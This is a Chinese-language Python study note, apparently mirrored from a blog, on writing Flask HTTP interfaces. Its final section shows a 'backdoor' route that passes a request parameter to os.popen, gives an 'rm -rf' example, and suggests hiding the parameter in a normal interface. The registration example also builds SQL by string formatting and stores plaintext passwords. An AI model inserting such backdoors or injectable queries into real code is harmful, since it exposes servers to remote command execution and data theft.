zoukankan      html  css  js  c++  java
  • Python学习笔记十五_接口开发

    一、开发接口的作用

    1、mock接口,在别的接口没有开发好的时候,模拟一些接口。例如假的支付接口,模拟支付成功

    2、查看数据,避免直接操作数据库flask web开发框架

    二、接口开发

    1、安装flask第三方模块

       flask是一种 web开发框架

    2、接口开发步骤

      (1) 实例化server

      (2) 装饰器,下面的函数变为一个接口

      (3) 启动服务

    先写一个简单的get请求接口

    import flask, json
    # __name__代表当前这个python文件
    
    server = flask.Flask(__name__)  # 实例化server,把当前这个python文件,当做一个服务
    
    # 请求路径 ip:port/index
    @server.route('/index', methods=['get'])  # 装饰器,下面的函数变为一个接口
    # method默认是get请求,methods=['get','post']
    def index():
        res = {'msg': '这是我开发的第一个接口', 'msg_code': 0}
        # 返回状态码0,表示返回成功
        return json.dumps(res, ensure_ascii=False)
        #json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False
    server.run(port=7788, debug=True, host='0.0.0.0') #启动服务
    # debug=True 改了代码后不用重启服务,它会自动重启一次
    # host 设置成 0.0.0.0 同一局域网的可以访问

    运行这段代码,打开浏览器,输入http://localhost:7788/index,就可以看到{'msg': '这是我开发的第一个接口', 'msg_code': 0}

    在写一个post方法的接口

    @server.route('/reg',methods=['post'])#/reg接口路径
    def ref():
        username = flask.request.values.get('username')#username是接口调用的key,即入参
        pwd = flask.request.values.get('passwd')#passwd是接口调用的key,即入参
        if username and pwd:
            sql = 'select * from my_user where username = "%s";' % username
            if my_db(sql):
                res = {'msg': '用户已存在', 'msg_code': 2001}
                # 2001,以2开头都是跟用户有关的
            else:
                insert_sql = 'insert into my_user(username,passwd,is_admin) VALUES ("%s","%s",0);' % (username, pwd)
                my_db(insert_sql)
                res = {'msg': '注册成功', 'msg_code': 0}
        else:
            res = {'msg':'必填字段未填,请查看接口文档','msg_code':1001}
            # 1001必填字段未填
        return json.dumps(res, ensure_ascii=False)

    post请求用postman或类似工具访问接口

     

    后门接口

    @server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
    def cmd():
        cmd = flask.request.values('cmd')#接口的入参
        res = os.popen(cmd)#执行用户命令
        return res.read()#返回执行结果
        #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
        #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
        # 默认可以不传,一但传了再res = os.popen(cmd)

    一个接口文件中可以包含多个接口,只要接口路径不一致即可
    注意的一点是: server.run() 一定要放在所有接口的最底下运行,否则,在server.run()以下再开发接口,是检测不到的,不会被运行起来的

  • 相关阅读:
    python错误信息 object is not subscriptable 的原因
    python join函数
    string的部分总结
    第k个非立方数(忘记哪里的题了)
    pandas 学习
    数学建模中 时间序列典型分解模型 matlab实现
    matlab三维画图学习 三次插值
    原型
    JavaScript
    js数组去重(多种写法)
  • 原文地址:https://www.cnblogs.com/dongrui624/p/9022656.html
Copyright © 2011-2022 走看看